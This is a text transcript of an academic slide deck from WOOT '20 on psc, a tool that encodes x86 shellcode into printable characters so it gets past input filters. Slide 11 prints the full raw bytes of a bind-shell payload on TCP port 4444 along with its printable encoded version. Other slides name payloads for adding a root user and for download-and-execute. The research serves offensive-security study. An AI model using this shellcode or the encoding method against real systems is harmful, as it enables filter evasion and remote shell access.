Automatic Generation of Compact Printable Shellcodes For x86 WOOT - - PowerPoint PPT Presentation

▶

Oct 19, 2022 385 likes •584 views

Automatic Generation of Compact Printable Shellcodes For x86 WOOT 20 Dhrumil Patel Aditya Basu Anish Mathuria August 11, 2020 Outline Introduction Currently used Algorithms Motivation Printable Shellcode Compiler ( psc ) Results

SLIDE 1

Automatic Generation of Compact Printable Shellcodes For x86

WOOT ’20 Dhrumil Patel Aditya Basu Anish Mathuria

August 11, 2020

SLIDE 2

Outline

Introduction Currently used Algorithms Motivation Printable Shellcode Compiler (psc) Results Conclusion

SLIDE 3

Printable Shellcodes

Defensive filters strip all the printable characters from input. This ruins most injection attacks.

Attacker’s Goal is to generate code that consists only of:

0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz !\"#$%&\’()*+,-./:;<=>?@[\\]^_‘{|}~

SLIDE 4

Currently Used Algorithms

Riley Eller Algorithm

“Any dword (4 bytes) can be derived from two

r three SUB instructions whose operands are

printable bytes” Available as a Metasploit plugin

Ex. 0x89e3cd80 bytes from execv /bin/sh

shellcode

# Constants are printable (0x21-0x7E) sub $0x256d6d2d, %eax sub $0x256d6d25, %eax sub $0x34574225, %eax push %eax

Each byte is encoded with 2.5 bytes

Source to Source Conversion

Geczi and Ivanyi replace all non-printable instructions with a sequence of printable instruction(s) 38 byte shellcode → 9837 bytes printable shellcode Not publicly available

SLIDE 5

We Need Compact Shellcodes Transforming to printable ⇒ increases shellcode size Size restrictions on input

Example

Buffer overflow exploits are limited by the buffer size.

SLIDE 6

Printable Shellcode Compiler

Overview Encoding Scheme Runtime Decoder Testing

SLIDE 7

psc: Printable Shellcode Compiler

Arbitrary shellcode → Printable shellcode Special encoding scheme Hand-crafted decoder that is printable

Custom XOR Patcher Decoder loop (size = 73 bytes) Encoded payload Printable shellcode Encoded shellcode Decoder (size = 146 bytes)

SLIDE 8

psc Encoding Scheme

b2 b0 b3 b1 b8 b9 b5 b6 b7 b4 b10 b11 b13 b14 b15 b12 b10 b8 b11 b9 b13 b14 b15 b12

Original Byte #2 Original Byte #2

Encoded B1 = Encoded B1 = 0x3F 0x3F + Encoded Encoded B2 B2 = 0x3F + = 0x3F + Encoded Encoded B3 B3 = 0x3F + = 0x3F +

b2 b0 b3 b1 b5 b6 b7 b4

Original Byte #1 Original Byte #1

Range of Encoded Bytes

(0x3F, 0x7E)

SLIDE 9

psc Runtime Decoding

ECX: Read Pointer EDX: Write Pointer

Ini Initializer

B1 = 0x26 Recover first byte, R1 ← (B1 << 4) + (B2 & 0x3F) >> 2 Recover second byte, R2 ← (B2 << 6) + (B3 & 0x3F) Recovered Shellcode

Lo Loop

YE YES NO NO

Write R1 to [EDX] Write R2 to [EDX+1] EDX ← EDX +2 ECX ← ECX + 3 Let, B1 ← [ECX] B2 ← [ECX + 1] B3 ← [ECX + 2]

3 bytes encoded payload → 2 bytes recovered shellcode Read ‘&’ (=0x26) → jump to recovered shellcode

SLIDE 10

Testing

Custom XOR Patcher Decoder loop (size = 73 bytes) Encoded payload Encoded shellcode Decoder SI SIGTERM RM For Testing Signal handler checks Recovered Shellcode == Original Shellcode

SLIDE 11

psc In Action

Shellcode to spawn shell on 4444/TCP

\x31\xc0\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\ xb0\x66\xcd\x80\x97\x31\xc0\x43\x50\x66\x68\ x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\ xe1\xb0\x66\xcd\x80\x50\x57\x89\xe1\xb0\x66\ x83\xc3\x02\xcd\x80\x50\x50\x57\x89\xe1\x04\ x66\x43\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\ xb0\x3f\xcd\x80\x49\x79\xf9\x50\x66\x68\x73\ x68\x68\x2f\x2f\x62\x61\x68\x2f\x62\x69\x6e\ x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\ x80

binary to printable

‘PYj0X40HP[j0X0Y50AO0YO0Y‘0 Aa0Ya0Ab0Yi0Aj0Y j0Ak0Ym0Yn rII0Y70A80Y80A90Y=0Y>0YGQZOyI&t<j0X40P[2 YIC?,42AJ@$<?’20’wBIj0X40P[2YJC2AK@?,6$ ?0’wBJBBAAAuAa5he4‘i/DZ2Fu4XR5gA7f‘;u?4} V8Mo5XU5Xg/Sx5XR7f‘5gO4DV7f‘;u?:@e: KC4XV7f‘;u?:@e3LU4XV7f‘;u?4dX:CA8Mo2~ L7@H6fx:?J5_n1|r5‘g1|a5dm7fb3EH;jL7AO&

Find at https://github.com/dhrumil29699/Printable-Encoder/

SLIDE 12

Results

Encoding Performance Total Output Size

SLIDE 13

Results: Only Encoded Shellcode

500 1000 1500 2000

execve /bin/sh add root user copy /etc/passwd shell on 4444/TCP download file & execute HTTP Server on 8800/TCP shell on 8080/TCP over SSL

bytes

Enc Encodi

ding

ng Pe Perfo rform rmanc ance

Or Orig igina inal Ri Rile ley E y Ell ller er ps psc

psc encoding is more compact than Riley Eller algorithm

SLIDE 14

Results: Decoder & Encoded Shellcode

500 1000 1500 2000

execve /bin/sh add root user copy /etc/passwd shell on 4444/TCP download file & execute HTTP Server on 8800/TCP shell on 8080/TCP over SSL

bytes

Tot Total al Ou Outpu tput S t Siz ize

Or Orig igina inal Ri Rile ley E y Ell ller er ps psc

For large shellcodes, psc beats the Riley Eller algorithm

SLIDE 15

psc vs ALPHA3

psc encoding outperforms ALPHA3. ALPHA3 changes 1 byte → 2 bytes psc changes 1 byte → 1.5 bytes However, the compact encoding makes our decoder complicated. psc beats ALPHA3 for larger shellcodes (size > 236 bytes).

SLIDE 16

Concluding Remarks

We present a new encoding algorithm that uses looped decoding to reduce the size of the auto-generated printable shellcodes. We produce about 40% − 50% smaller printable shellcodes as compared to the Riley Eller algorithm. Future Plan Add support for x86_64 shellcodes

SLIDE 17

References

Riley Eller Bypassing MSB Data Filters for Buffer Overflow Exploits on Intel Platforms http://julianor.tripod.com/bc/bypass-msb.txt. Zsolt Géczi and Peter Iványi (2018) Automatic translation of assembly shellcodes to printable byte codes Pollack Periodica 13(04), 3–20. B.J. Wever ALPHA3 https://github.com/SkyLined/alpha3.

SLIDE 18

Thanks!

Dhrumil Patel Devops at Acko Technology and Services Private Ltd. 201601228@daiict.ac.in Aditya Basu PhD Student at Penn State aditya.basu@psu.edu Anish Mathuria Professor at DA-IICT anish_mathuria@daiict.ac.in